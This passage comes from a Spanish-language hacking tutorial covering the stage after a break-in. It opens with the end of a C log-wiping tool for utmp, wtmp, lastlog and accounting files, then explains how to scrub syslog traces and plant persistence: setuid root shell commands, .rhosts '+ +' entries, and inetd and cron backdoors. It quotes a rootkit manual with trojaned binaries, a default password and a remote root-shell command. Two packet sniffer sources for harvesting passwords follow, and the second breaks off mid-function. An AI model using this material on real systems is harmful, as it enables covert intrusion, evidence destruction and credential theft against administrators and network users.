if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;

}

}

if (f_mod)

{

seek_ifh(uline);

if (!domod(p)) return 0;

if (f_mod==2) wu_line--;

} else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;

if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;

display();

}

#ifdef PACCT

if (f_Security && f_Auto && !f_mod && mode=='A')

if (!uline%acct_step) ac_saved=*(struct acct *)mode_data;

#endif

return 1;

}

FVOID makeobject()

{

int uline=1;

char line[1024];

char *p;

char f_mod;

if ((ifh=fopen(a_Input, "r"))==NULL)

{

perror(a_Input);

exit(1);

}

if ((afh=fopen(a_Dump, "r"))==NULL)

{

perror(a_Dump);

exit(1);

}

if ((ofh=fopen(a_Output, f_EditSrc? "r+": "w"))==NULL)

{

perror(a_Output);

exit(1);

}

#ifdef PACCT

if (f_Security && f_Auto && mode=='A')

acct_step=(getpid()+8)%60;

#endif

fputc('\n', stdout);

globline=0;

mes="entries assembled: ";

while (1)

{

if (!fgets((p=line), sizeof(line), afh))

{

if (f_EditSrc)

{

#ifndef NO_FTRUNCATE

if (f_Truncate)

{

fflush(ofh);

ftruncate(fileno(ofh), uline*mode_size);

}

#endif

goto closeup;

}

if (!f_Truncate) wcopy(uline+1);

goto closeup;

}

switch (*p)

{

case 0:

case '#':

case '\n':

continue;

case '=':

f_mod=1;

p++;

break;

case '+':

if (f_EditSrc)

{

if (f_Squeeze)

fprintf(stderr, "warning: the + operator can

have \

unpredictable effects when used in conbination with -e and -s\n");

else

{

fprintf(stderr, "error: + operator used with -

e\n");

exit(1);

}

}

f_mod=2;

p++;

break;

default: {f_mod=0; break;}

}

if (sscanf(p, "%x", &uline)!=1)

{

perror("invalid line number in ascii input");

exit(1);

}

uline++;

if (!obj_update(uline, p, f_mod))

{

perror("read/write failed");

exit(1);

}

}

closeup:

display_end();

fclose(ofh);

fclose(ifh);

fclose(afh);

}

FVOID usage(s)

char *s;

{

fprintf(stderr, "usage: %s\t[-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-

v pat] [-m [WLA]]\n\

\t\t[-E editor] [-h program]\n", s);

exit(1);

}

int main(argc, argv)

int argc;

char **argv;

{

char *ed;

char c;

#ifdef PACCT

mode='A';

#endif

#ifdef LASTLOG

mode='L';

#endif

#ifdef UTMP

mode='W';

#endif

puts("marry v1.0 (c) 1991 -- Proff -- All rights reserved.");

umask(022);

while ((c=getopt(argc, argv, "i:o:d:aetsp:v:m:uScDnE:h:b:"))!=-1)

switch(c)

{

case 'i':

a_Input=optarg;

break;

case 'o':

a_Output=optarg;

break;

case 'd':

a_Dump=optarg;

break;

case 'a':

f_Auto=1;

break;

case 'e':

f_EditSrc=1;

break;

case 't':

f_Truncate=1;

break;

case 's':

f_Squeeze=1;

break;

case 'p':

a_Pattern=optarg;

break;

case 'v':

f_Exclude=1;

a_Pattern=optarg;

break;

case 'm':

mode=*optarg;

break;

case 'u':

f_Uid=1;

break;

case 'S':

f_Security=1;

break;

case 'c':

f_Clean=1;

break;

case 'D':

f_DeleteSelf=1;

break;

case 'n':

f_NoBackups=1;

break;

case 'E':

a_Editor=optarg;

break;

case 'h':

a_Hide=optarg;

break;

case 'b':

a_Backup=optarg;

break;

case '?':

default:

fprintf(stderr, "%s: unknown option `%c'\n", argv[0], c);

usage(argv[0]);

/* NOT_REACHED */

}

if (a_Output && f_EditSrc)

{

perror("can't have -o and -e together");

exit(1);

}

switch(mode)

{

#ifdef UTMP

case 'W':

mode_size=sizeof(struct S_UTMP);

mode_data=&s_utmp;

if (!a_Input) a_Input=WTMP_FILE;

break;

#endif

#ifdef LASTLOG

case 'L':

mode_size=sizeof(struct lastlog);

mode_data=&s_lastlog;

if (!a_Input) a_Input=LASTLOG_FILE;

break;

#endif

#ifdef PACCT

case 'A':

mode_size=sizeof(struct acct);

mode_data=&s_acct;

if (!a_Input) a_Input=PACCT_FILE;

break;

#endif

default:

fprintf(stderr, "unknown mode `%c'\n", mode);

usage();

/*NOT_REACHED*/

}

if (a_Pattern) uid=getpwnam(a_Pattern);

if (uid) {uid_s=*uid; uid=&uid_s;}

if (f_Auto)

{

struct stat st1, st2;

int pid;

int ws;

if (stat(a_Editor, &st1))

{

fprintf(stderr, "error: editor `%s' must exist with -a (check -E

value)\n", a_Editor);

exit(1);

}

makedump();

if (f_Security)

{

sprintf(ac_comm_hide, "m%d", getpid());

symlink(a_Editor, ac_comm_hide);

ed=ac_comm_hide;

} else ed=a_Editor;

stat(a_Dump, &st1);

if (!(pid=fork()))

{

printf("%s %s\n", ed, a_Dump);

fflush(stdout);

execlp(ed, ed, a_Dump, 0);

perror(ed);

_exit(1);

}

if (pid<0)

{

perror("fork");

exit(1);

}

while (wait(&ws)!=pid);

if (f_Security)

unlink(ac_comm_hide);

stat(a_Dump, &st2);

if (st1.st_mtime==st2.st_mtime)

{

fprintf(stderr, "`%s' not modified -- aborted\n", a_Dump);

exit(1);

}

if (!a_Output || !strcmp(a_Input, a_Output))

{

backup(a_Input);

f_backedup=1;

if (!a_Output) a_Output=a_Input;

if (!f_EditSrc)

a_Input=a_Backup;

}

makeobject();

if (f_Clean)

unlink(a_Dump);

if ((f_Clean || f_NoBackups) && f_backedup) unlink(a_Backup);

}

else if (a_Output)

{

if (!strcmp(a_Input, a_Output))

{

backup(a_Input);

f_backedup=1;

if (!f_EditSrc)

a_Input=a_Backup;

}

makeobject();

if (f_Clean)

unlink(a_Dump);

if ((f_Clean || f_NoBackups) && f_backedup)

unlink(a_Backup);

} else

makedump();

if (f_DeleteSelf) unlink(argv[0]);

puts("Done.");

if (f_Security)

{

close(0);

close(1);

close(2);

setsid();

if (a_Hide)

{

execlp(a_Hide, a_Hide, 0);

perror(a_Hide);

}

if (f_Security)

kill(getpid(), SIGKILL);

}

exit(0);

}

 

 

Bien, con estos programitas hemos conseguido borrar los logs mas usuales

(utmp, wtmp, lastlog y acct) pero tambien hemos de tener en cuenta otros que

pueden aparecer que se comentan a continuacion:

El demonio syslogd que guarda informacion en distintos archivos indicados en

el /etc/syslogd.conf aunque puede estar en otras ubicaciones. La ventaja que

tiene el log creado por el syslogd sobre los otros es que mientras que tanto el

utmp, wtmp, lastlog y acct tienen estructura de datos por lo que no se pueden

modificar con un editor de textos normalmente (aunque tampoco ofrece

grandes complicaciones), los ficheros producidos por el daemon syslogd si que

son editables en modo texto por lo que usando el grep con un poco de gracia

deberiamos borrar la mayoria de las huellas, es decir buscar en modo texto

mensajes que pueden referir a nuestra conexion, por ejemplo podemos buscar

el nombre de la maquina desde la que hemos conectado, nuestro login ,etc.

A continuacion indico como funciona el syslogd.conf. Algunos de los tipos de

procesos que pueden general mensajes son los siguientes:

kern --> mensajes relativos al kernel

user --> mensajes relativos a procesos ejecutados por usuarios normales.

mail --> mensajes relativos al sistema de correo.

lpr --> mensajes relativos a impresoras.

auth --> mensajes relativos a programas y procesos de autentificacion

(aquellos en los que estan involucrados nombres de usuarios y passwords, por

ejemplo login, su, getty, etc)

daemon --> mensajes relativos a otros demonios del sistema.

 

Mientras que pueden generar mensajes de los siguientes tipos:

 

emerg --> emergencias graves.

alert --> problemas que deben ser solucionados con urgencia.

crit --> errores criticos.

err --> errores ordinarios.

warning --> avisos.

notice --> cuando se da una condicion que no constituye un error pero a la que

se le debe dar una cierta atencion.

info --> mensajes informativos.

Una desventaja que tiene el syslogd es que puede que envie los logs a otra

maquina con lo que seran unas huellas dificiles de borrar. Esto no es nada

usual pero lo comento para que sepais lo que os podeis encontrar por ahi

afuera :o(.

En muchos sistemas corre el tcp wrapper que ofrece posibilidades extras como

ver que maquinas se pueden conectar o no a una maquina donde este el tcp

wrapper instalado a los distintos servicios ( usando el host.allow y el host.deny)

y ademas puede ofrecer la posibilidad de establecer logs adicionales. Para

controlar y borrar estos logs debes mirar en el syslog.conf que tambien indica

los logs de los tcp wrappers.

Ademas hemos de ver los logs del httpd, ftp, etc. que pueden tener distintas

ubicaciones segun los distintos sistemas. Estos pueden estar en los mismos

directorios que los tipicos utmp, wtmp, lastlog, acct o por ejemplo los de httpd

pueden estar en el directorio donde se ubica el httpd.

Un sistema un poco cutre que puede ayudar es hacer un find / -name *log* con

lo que te buscara todos los archivos en la maquina que contengan en su

nombre la palabra log con lo que te puede dar pistas de por donde mirar ya que

muchos logs tienen la palabra log en su nombre como el log_access, xferlog,

etc..

Una forma de comprobar otros ficheros de log existentes en el sistema, es

verificar cuales son todos aquellos archivos que se encuentran abiertos en el

momento, y por ello, lo que podemos conseguir es una pista de cuales son

algunos de los posibles lugares en los que se puede almacenar informacion

que comprometa al usuario. Un programa para ello es el LSOF (LiSt Open

Files), el cual nos indicar los ficheros que se encuentran abiertos en ese

momento.

En fin, este tema es mucho mas complejo, pero creo que extenderse mas se

escapa de los objetivos de este texto y ademas la mejor manera de aprender

sobre estas kosas es probando, viendo makinas, probando programas, etc.

 

10.- PRESERVAR EL ACCESO Y PONER SNIFFERS

 

Bueno, voy a dar cuatro matices sobre este tema. La idea es que tras haber

conseguido un root es interesante instalar backdoors ( o mejor una rootkit que

es un conjunto de backdoors y otras herramientas) para seguir teniendo acceso

como root y no tener que repetir el proceso de entrar por una cuenta normal,

ejecutar xploit, etc,...ya que esto es un co¤azo.

 

Bueno, simplemente comento que hay backdoors para el telnetd, login, fingerd,

y muchisimos mas, aunque lo que no hay que hacer es poner sushis o usar la

tipica backdoor en el .rhosts o hosts.equiv ya que esos se notan mucho y nada

mas que el root mire un poco su maquina se dara cuenta.

De todos modos, por ser metodos que se han usado mucho y que ademas es

posible que algun dia tengas que usarlo si estas ante un sistema operativo raro,

voy a explicarlos un poco.

Poner una sushi (set uid shell) consiste en que cuando seas root, hacer una

copia de la shell, cambiarle el nombre y ponerle como owner al root y luego

darle permisos 4755.

Es decir... haces:

Cp /bin/sh /directoriopublico

Mv sh /directoriopublico

Cd directoriopublico

Mv sh cualquiera

chown root cualquiera

chmod 4755 cualquiera

La gracia de esto es que el 4 indica que cualquiera que ejecute ese fichero

tendra privilegios del owner de ese fichero. Asi, como el owner es el root y el

fichero es una shell, obtendremos una shell de root con lo que cuando

entremos a esta maquina como un usuario normal, simplemente iremos al

directoriopublico, ejecutamos ./cualquiera y tendremos una shell de root.

En este momento es importante se¤alar las diferencias entre UID (User

Identification) y EUID (Efective User Identification), es decir, cuando ejecuteis la

sushi tendreis como UID la que tuvieseis del usuario con el que habeis entrado

pero tendreis como EUID=0, es decir que teneis privilegios de root para hacerlo

todo pero sin embargo si por ejemplo haceis un who aparecera el UID de la

cuenta con la que habeis entrado y no aparecereis como root... tened cuidado

con este tema que a veces puede ocasionar lios con los permisos y owners de

los ficheros.

Vale, hasta ahora todo muy bonito pero la desventaja de esto es que te la

pueden localizar facilmente haciendo un find -perm 4000 ........ ya que con este

comando busca ficheros que tengan estas caracteristicas del bit de setuid

activado con lo que el root te puede pillar facilmente por lo que claramente es

desaconsejable.

Otro metodo, aun pero es poner un + + en el .rhosts del root. Esto quiere decir

que cualquiera que haga un rlogin al root desde cualquier maquina sera root sin

necesidad de password.. es decir con rlogin -l root maquinavictima.com.

Obviamente la desventaja de esto es que el root cuando vea un + + en su

.rhosts te pillara y esto es de lo que mas canta por lo que tambien es

claramente desaconsejable.

Ademas de esto hay programas que substituyen el fingerd, telnetd, login, etc

para que cuando tu les des unos datos determinados te dejen entrar como root

remotamente. Esta es una buena solucion aunque en algunos casos la longitud

del fichero difiere mucho del real al troyano .. pero hay algun metodo mas que

ya se comentara en otros textos para que no te pillen por este motivo. Estos

troyanos estan en muchos de los lugares de la red asi ke dando un par de

vueltas los encontrareis.. igualmente, es posible que esten en la misma

maquina de donde os bajeis este texto. Obviamente no son adjuntados por no

hacer esto mas grande, que ya se esta haciendo demasiado largo el textito de

marras.. jeje

Ademas de meter troyanos, tambien hay backdoors usando el inetd, cron y

demas.... su funcionamiento es bastante obvio... el inetd define los demonios

que se arrancan asociados con cada puerto por lo ke puedes poner asociado a

un puerto raro una shell de root... respecto al cron.. es un programa que te

permite definir tareas que se repitan periodicamente... puedes hacer ke todos

los dias a una hora dada se modifique el archivo /etc/passwd, o que ejecute un

socket daemon o mil kosas mas... estas dos backdoors ofrecen muchas

posibilidades.. la putada en contra de los troyanos es que nada mas que el root

vea el inetd.conf ( en el caso del inetd) o el directorio cron se pueden dar

cuenta facilmente.

Lo que es bastante interesante es instalar una rootkit ( el problema es que no

estan hechas para muchos sistemas con lo que si te encuentras un sistema

operativo para los que no las tienes te lo tienes que currar un poco mas :o(..

este paquete de programas te permiten desde ocultar procesos, ocultar

directorios, borrar huellas, dejar mil backdoors, que te oculte en el netstat, que

en el ifconfig no aparezca el famoso promiscuos si pones un sniffer, etc. es

decir que dejas la maquina hecha un agujero. Obviamente, se puede definir

que directorios quieres que te oculte, que backdoors quieres que te ponga, etc.

No la adjunto en este texto ya que es bastante grande pero no es dificil

obtenerlas en la red. Adjunto aqui unos de los programas que modifica una

rootkit cualquiera que he pillado.. en este caso es una de linux ( hay versiones

posteriores del a¤o 97 de esta rootkit):

 

chfn Trojaned! User->r00t

chsh Trojaned! User->r00t

inetd Trojaned! Remote access

login Trojaned! Remote access

ls Trojaned! Hide files

du Trojaned! Hide files

ifconfig Trojaned! Hide sniffing

netstat Trojaned! Hide connections

passwd Trojaned! User->r00t

ps Trojaned! Hide processes

top Trojaned! Hide processes

rshd Trojaned! Remote access

syslogd Trojaned! Hide logs

linsniffer A kewl sniffz0r!

sniffit Another kewl sniffer!

fix File fixer!

z2 Zap2 utmp/wtmp/lastlog eraser!

wted wtmp/utmp editor!

lled lastlog editor!

bindshell port/shell type daemon!

 

Y a continuacion su uso de manera breve:

 

OK I will go thru how to use each program one by one. NOTE when I say

passwordI mean the rootkit password not your users password (doh!). By

default therootkit password is lrkr0x.

chfn - Local user->root. Run chfn then when it asks you for a new name

enter your password.

chsh - Local user->root. Run chsh when it asks you for a new shell

enter your password.

inetd - Binds a shell to a port for remote access. hehe look at the

source if u want this one =)

login - Allows login to any account with the rootkit password.

If root login is refused on your terminal login as "rewt".

History logging is disabled if you login using your password.

ls - Trojaned to hide specified files and dirs.

Default data file is /dev/ptyr.

All files can be listed with 'ls -/'.

The format of /dev/ptyr is:

ptyr

hack.dir

w4r3z

ie. just the filenames. This would hide any files/dirs with the

names ptyr, hack.dir and w4r3z.

du - Same as ls, 'cept for du instead :)

ifconfig - Modified to remove PROMISC flag when sniffing.

netstat - Modified to remove tcp/udp/sockets from or to specified

addresses, uids and ports.

default data file: /dev/ptyq

command 0: hide uid

command 1: hide local address

command 2: hide remote address

command 3: hide local port

command 4: hide remote port

command 5: hide UNIX socket path

example:

0 500 <- Hides all connections by uid 500

1 128.31 <- Hides all local connections from 128.31.X.X

2 128.31.39.20 <- Hides all remote connections to 128.31.39.20

3 8000 <- Hides all local connections from port 8000

4 6667 <- Hides all remote connections to port 6667

5 .term/socket <- Hides all UNIX sockets including the path

.term/socket

 

Yeah eyem lazy. This is ira's description. Why bother thinking

up werds when someones already done it?

passwd - Local user->root. Enter your rootkit password instead of your

old password.

ps - Modified to remove specified processes.

Default data file is /dev/ptyp.

An example data file is as follows:

0 0 Strips all processes running under root

1 p0 Strips tty p0

2 sniffer Strips all programs with the name sniffer

Don't put in the comments, obviously.

top - Identical to ps, 'cept for top instead.

rshd - Execute remote commands as root.

Usage: rsh -l rootkitpassword host command

ie. rsh -l lrkr0x cert.org /bin/sh -i

would start a root shell.

syslogd - Modified to remove specified strings from logging.

I thought of this one when I was on a system which logged

every connection.. I kept getting pissed off with editing

files every time I connected to remove my hostname. Then I

thought 'Hey dude, why not trojan syslogd?!' and the rest

is history. :)

Default data file is /dev/ptys

Example data file:

evil.com

123.100.101.202

rshd

This would remove all logs containing the strings evil.com,

123.100.101.202 and rshd. Smart! :))

sniffit - An advanced network sniffer. This is pretty kewl and has lots

of filtering options and other stuff. Useful for targetting a

single host or net. Sniffit uses ncurses.

linsniffer - A kewl sniffer. This is smaller than sniffit and doesn't need

the ncurses libraries.

As CERT say, sniffing is responsible for more mass network

breakins than anything else in the 90's. P'raps they ain't

heard of Sendmail before hahahaha

fix - Replaces and fixes timestamp/checksum infomation on files.

I modified this a bit for my own uses and to fix a nasty bug

when replacing syslogd and inetd. The replacement file will

be erased by fix (unlike other versions).

z2 - Zapper2! Run this to erase the last utmp/wtmp/lastlog entries

for a username. This can be detected since it just nulls the

entry out but no sysadmins know this, right?

wted - This does lots of stuff. U can view ALL the entries in a wtmp

or utmp type file, erase entries by username or hostname,

view zapped users (admins use a util similar to this to find

erased entries), erase zapped users etc.

lled - Basically the same as wted but for lastlog entries.

 

Creo que con esto queda suficientemente claro no? jeje

Como se puede ver, esta rootkit tiene de todo, unos cuantos troyanos, sniffer,

borrador de huellas, inetd y login modificados para permitir acceso remoto,

editores de wtmp y utmp, etc... en fin, como podeis ver si pillas root en una

maquina e instalas una rootkit.. la maquina es tuya asi que no doy ideas..

jejejejejeje. Por cierto a fecha de hoy no encuentro rootkits para irix, aix, hp y

demas por lo que si alguien tiene agradeceria que me lo comunicasen ( yo solo

tengo de sun y de linux... y una para bsd pero que no rula muy bien :o( y

currarse una es una kurrada :(

 

 

Ademas de lo que acabo de comentar, una vez tienes la maquina controlada, lo

que has de hacer es poner un sniffer para conseguir mas cuentas ( que a veces

tambien viene incluida en la rootkit) que se comenta a continuacion.

Nota previa:

La manera mas usual de conectar maquinas es usando Ethernel. El protocolo

de Ethernet trabaja enviando la informacion en paquetes a las maquinas de la

red. La cabecera del paquete contiene la direccion IP de la maquina destino.

Solo la maquina que tiene este IP va a recibir este paquete en teoria, pero una

maquina se puede poner en modo promiscuo de manera que reciba todos los

paquetes que van por la red independientemente de lo que ponga en la

cabecera como IP de destino.

 

Asi, basicamente un sniffer lo que hace es poner a la maquina en modo

promiscuo, es decir, que la maquina acepta todos los paquetes que van por la

red y no solo los que van destinados a ella.

La gracia de esto es que en una red normal ( sin usar metodos de encriptacion

de passwords como el Kerberos) por la red rulan los paquetes con el login y

passwd de otras maquinas con lo que conseguireis cuentas en otras maquinas

sin hacer nada.. esta bien no?.

El problema es que se puede detectar facilmente si en una maquina hay un

sniffer corriendo simplemente haciendo ifconfig -a (en general, aunque varia un

poco para algunos sistemas) porque aparece un mensaje de que la maquina

esta en promiscous mode... por lo que tendras que poner un troyano para el

ifconfig porque si no, el root se percatara y se mosqueara. Recuerdo que en las

rootkits vienen incluidos troyanos para el ifconfig.

Hay muchisimos sniffers, estos programas permiten muchas opciones como

que te permiten sniffear algunos puertos o todos, buscar palabras en los

paquetes, etc y los hay desde algunos muy cutres hasta otros comerciales.

Algunos nombres son tcpdump, sniffit, esniff, websniff, linsniffer, solsniff,

sunsniff, etc.. como veis hay muchos y para distintos sistemas operativos. He

cogido de la phrack esta lista de sniffers para distintos sistemas operativos que

supongo que sera de interes:

 

OS Sniffer

4.3/4.4 BSD tcpdump /* Available via anonymous ftp */

FreeBSD tcpdump /* Available via anonymous ftp at */

/* gatekeeper.dec.com

/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */

NetBSD tcpdump /* Available via anonymous ftp at */

/* gatekeeper.dec.com

/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */

DEC Unix tcpdump /* Available via anonymous ftp */

DEC Ultrix tcpdump /* Available via anonymous ftp */

HP/UX nettl (monitor) & netfmt (display)

nfswatch /* Available via anonymous ftp*/

Irix nfswatch /* Available via anonymous ftp*/

Etherman

Tcpdump /* Available via anonymous ftp */

SunOS etherfind

Nfswatch /* Available via anonymous ftp*/

tcpdump /* Available via anonymous ftp */

Solaris snoop

tcpdump

DOS ETHLOAD /* Available via anonymous ftp as*/

/* ethld104.zip*/

The Gobbler /* Available via anonymous ftp*/

LanPatrol

LanWatch

Netmon

Netwatch

Netzhack /* Available via anonymous ftp at*/

/* mistress.informatik.unibw-muenchen.de*/

/* /pub/netzhack.mac*/

Macintosh Etherpeek

 

Como veis el TCPDUMP es bastante interesante pero no lo adjunto en el texto

por ser bastante grande. Este es un problema de este programa, que es un

monitor de red muy potente pero tambien canta mucho si lo metes en una

makina porke tiene muchos archivos y canta bastante al hacer un ps-axw por lo

que es mejor evitar usarlo y si estas en una linux o sun, usar sniffers

peque¤itos ke hay para esos sistemas operativos.

Aqui adjunto el codigo de un par de sniffers para que veais la forma que tienen

aunque obviamente recuerdo que os hacen falta las librerias para que rulen:

 

/* ipl.c 1/3/95 by loq */

/* monitors ip packets for Linux */

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <linux/if.h>

#include <signal.h>

#include <stdio.h>

#include <linux/socket.h>

#include <linux/ip.h>

#include <linux/tcp.h>

#include <linux/if_ether.h>

#define BUFLEN 8192

#define ETHLINKHDR 14

 

print_data(int count, char *buff)

{

int i,j,c;

int printnext=1;

if(count)

{

if(count%16)

c=count+(16-count%16);

else c=count;

}

else

c=count;

for(i=0;i<c;i++)

{

if(printnext) { printnext--; printf("%.4x ",i&0xffff); }

if(i<count)

printf("%3.2x",buff[i]&0xff);

else

printf(" ");

if(!((i+1)%8))

if((i+1)%16)

printf(" -");

else

{

printf(" ");

for(j=i-15;j<=i;j++)

if(j<count) {

if( (buff[j]&0xff) >= 0x20 &&

(buff[j]&0xff)<=0x7e)

printf("%c",buff[j]&0xff);

else printf(".");

} else printf(" ");

printf("\n"); printnext=1;

}

}

}

int

initdevice(device, pflag)

char *device;

int pflag;

{

#define PROTO htons(0x0800) /* Ethernet code for IP protocol */

int if_fd=0;

struct ifreq ifr;

if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO)) < 0 ) {

perror("Can't get socket");

exit(2);

}

strcpy(ifr.ifr_name, device); /* interface we're gonna use */

if( ioctl(if_fd, SIOCGIFFLAGS, &ifr) < 0 ) { /* get flags */

close(if_fd);

perror("Can't get flags");

exit(2);

}

#if 1

if ( pflag )

ifr.ifr_flags |= IFF_PROMISC; /* set promiscuous mode */

else

ifr.ifr_flags &= ~(IFF_PROMISC);

#endif

if( ioctl(if_fd, SIOCSIFFLAGS, &ifr) < 0 ) { /* set flags */

close(if_fd);

perror("Can't set flags");

exit(2);

}

return if_fd;

}

struct etherpacket {

struct ethhdr eth;

struct iphdr ip;

struct tcphdr tcp;

char data[8192];

};

main()

{

int linktype;

int if_eth_fd=initdevice("eth0",1);

#if 0

int if_ppp_fd=initdevice("sl0",1);

#endif

struct etherpacket ep;

struct sockaddr dest;

struct iphdr *ip;

struct tcphdr *tcp;

struct timeval timeout;

fd_set rd,wr;

int dlen;

#if 0

struct slcompress *slc=slhc_init(64,64);

#endif

for(;;)

{

bzero(&dest,sizeof(dest));

dlen=0;

FD_ZERO(&rd);

FD_ZERO(&wr);

FD_SET(if_eth_fd,&rd);

#if 0

FD_SET(if_ppp_fd,&rd);

#endif

timeout.tv_sec=0;

timeout.tv_usec=0;

ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);

tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);

while(timeout.tv_sec==0 && timeout.tv_usec==0)

{

timeout.tv_sec=10;

timeout.tv_usec=0;

select(20,&rd,&wr,NULL,&timeout);

if(FD_ISSET(if_eth_fd,&rd))

{

printf("eth\n");

recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);

}

#if 0

else

if(FD_ISSET(if_ppp_fd,&rd))

{

recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);

printf("ppp\n");

}

#endif

}

printf("proto: %.4x",ntohs(ep.eth.h_proto));

#if 0

if(ep.eth.h_proto==ntohs(8053))

{

slhc_uncompress(slc,&ep,sizeof(ep));

}

#endif

if(ep.eth.h_proto==ntohs(ETH_P_IP))

{

printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",

ep.eth.h_source[0],ep.eth.h_source[1],

ep.eth.h_source[2],ep.eth.h_source[3],

ep.eth.h_source[4],ep.eth.h_source[5]);

printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ",

ep.eth.h_dest[0],ep.eth.h_dest[1],

ep.eth.h_dest[2],ep.eth.h_dest[3],

ep.eth.h_dest[4],ep.eth.h_dest[5]);

printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));

printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));

print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),

ep.data-2);

}

}

}

 

 

 

Tambien pongo un sniffer generico para ethernet que aparecio en la PHRACK

que esta dise¤ado para trabajar en SunOs, es muy peque¤o y solo captura los

primeros 300 bytes de todas las sesiones de telnet, ftp o rlogin:

 

 

/* [JOIN THE POSSE!] */

/* Esniff.c */

#include <stdio.h>

#include <ctype.h>

#include <string.h>

#include <sys/time.h>

#include <sys/file.h>

#include <sys/stropts.h>

#include <sys/signal.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/ioctl.h>

#include <net/if.h>

#include <net/nit_if.h>

#include <net/nit_buf.h>

#include <net/if_arp.h>

#include <netinet/in.h>

#include <netinet/if_ether.h>

#include <netinet/in_systm.h>

#include <netinet/ip.h>

#include <netinet/udp.h>

#include <netinet/ip_var.h>

#include <netinet/udp_var.h>

#include <netinet/in_systm.h>

#include <netinet/tcp.h>

#include <netinet/ip_icmp.h>

#include <netdb.h>

#include <arpa/inet.h>

#define ERR stderr

char *malloc();

char *device,

*ProgName,

*LogName;

FILE *LOG;

int debug=0;

#define NIT_DEV "/dev/nit"

#define CHUNKSIZE 4096 /* device buffer size */

int if_fd = -1;

int Packet[CHUNKSIZE+32];

void Pexit(err,msg)

int err; char *msg;

{ perror(msg);

exit(err); }

void Zexit(err,msg)

int err; char *msg;

{ fprintf(ERR,msg);

exit(err); }

#define IP ((struct ip *)Packet)

#define IP_OFFSET (0x1FFF)

#define SZETH (sizeof(struct ether_header))

#define IPLEN (ntohs(ip->ip_len))

#define IPHLEN (ip->ip_hl)

#define TCPOFF (tcph->th_off)

#define IPS (ip->ip_src)

#define IPD (ip->ip_dst)

#define TCPS (tcph->th_sport)

#define TCPD (tcph->th_dport)

#define IPeq(s,t) ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))

#define MAXBUFLEN (128)

time_t LastTIME = 0;

struct CREC {

struct CREC *Next,

*Last;

time_t Time; /* start time */

struct in_addr SRCip,

DSTip;

u_int SRCport, /* src/dst ports */

DSTport;

u_char Data[MAXBUFLEN+2]; /* important stuff :-) */

u_int Length; /* current data length */

u_int PKcnt; /* # pkts */

u_long LASTseq;

};

struct CREC *CLroot = NULL;

char *Symaddr(ip)

register struct in_addr ip;

{ register struct hostent *he =

gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

return( (he)?(he->h_name):(inet_ntoa(ip)) );

}

char *TCPflags(flgs)

register u_char flgs;

{ static char iobuf[8];

#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

SFL(0,TH_FIN, 'F');

SFL(1,TH_SYN, 'S');

SFL(2,TH_RST, 'R');

SFL(3,TH_PUSH,'P');

SFL(4,TH_ACK, 'A');

SFL(5,TH_URG, 'U');

iobuf[6]=0;

return(iobuf);

}

char *SERVp(port)

register u_int port;

{ static char buf[10];

register char *p;

switch(port) {

case IPPORT_LOGINSERVER: p="rlogin"; break;

case IPPORT_TELNET: p="telnet"; break;

case IPPORT_SMTP: p="smtp"; break;

case IPPORT_FTP: p="ftp"; break;

default: sprintf(buf,"%u",port); p=buf; break;

}

return(p);

}

char *Ptm(t)

register time_t *t;

{ register char *p = ctime(t);

p[strlen(p)-6]=0; /* strip " YYYY\n" */

return(p);

}

char *NOWtm()

{ time_t tm;

time(&tm);

return( Ptm(&tm) );

}

#define MAX(a,b) (((a)>(b))?(a):(b))

#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */

#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \

register struct CREC *CLtmp = \

(struct CREC *)malloc(sizeof(struct CREC)); \

time( &(CLtmp->Time) ); \

CLtmp->SRCip.s_addr = SIP.s_addr; \

CLtmp->DSTip.s_addr = DIP.s_addr; \

CLtmp->SRCport = SPORT; \

CLtmp->DSTport = DPORT; \

CLtmp->Length = MIN(LEN,MAXBUFLEN); \

bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \

CLtmp->PKcnt = 1; \

CLtmp->Next = CLroot; \

CLtmp->Last = NULL; \

CLroot = CLtmp; \

}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)

register struct in_addr Sip,Dip;

register u_int SP,DP;

{ register struct CREC *CLr = CLroot;

while(CLr != NULL) {

if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&

IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )

break;

CLr = CLr->Next;

}

return(CLr);

}

#define ADDDATA_NODE(CL,DATA,LEN) { \

bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \

CL->Length += LEN; \

}

#define PR_DATA(dp,ln) { \

register u_char lastc=0; \

while(ln-- >0) { \

if(*dp < 32) { \

switch(*dp) { \

case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \

break; \

case '\r': \

case '\n': fprintf(LOG,"\n : "); \

break; \

default : fprintf(LOG,"^%c", (*dp + 64)); \

break; \

} \

} else { \

if(isprint(*dp)) fputc(*dp,LOG); \

else fprintf(LOG,"(%d)",*dp); \

} \

lastc = *dp++; \

} \

fflush(LOG); \

}

void END_NODE(CLe,d,dl,msg)

register struct CREC *CLe;

register u_char *d;

register int dl;

register char *msg;

{

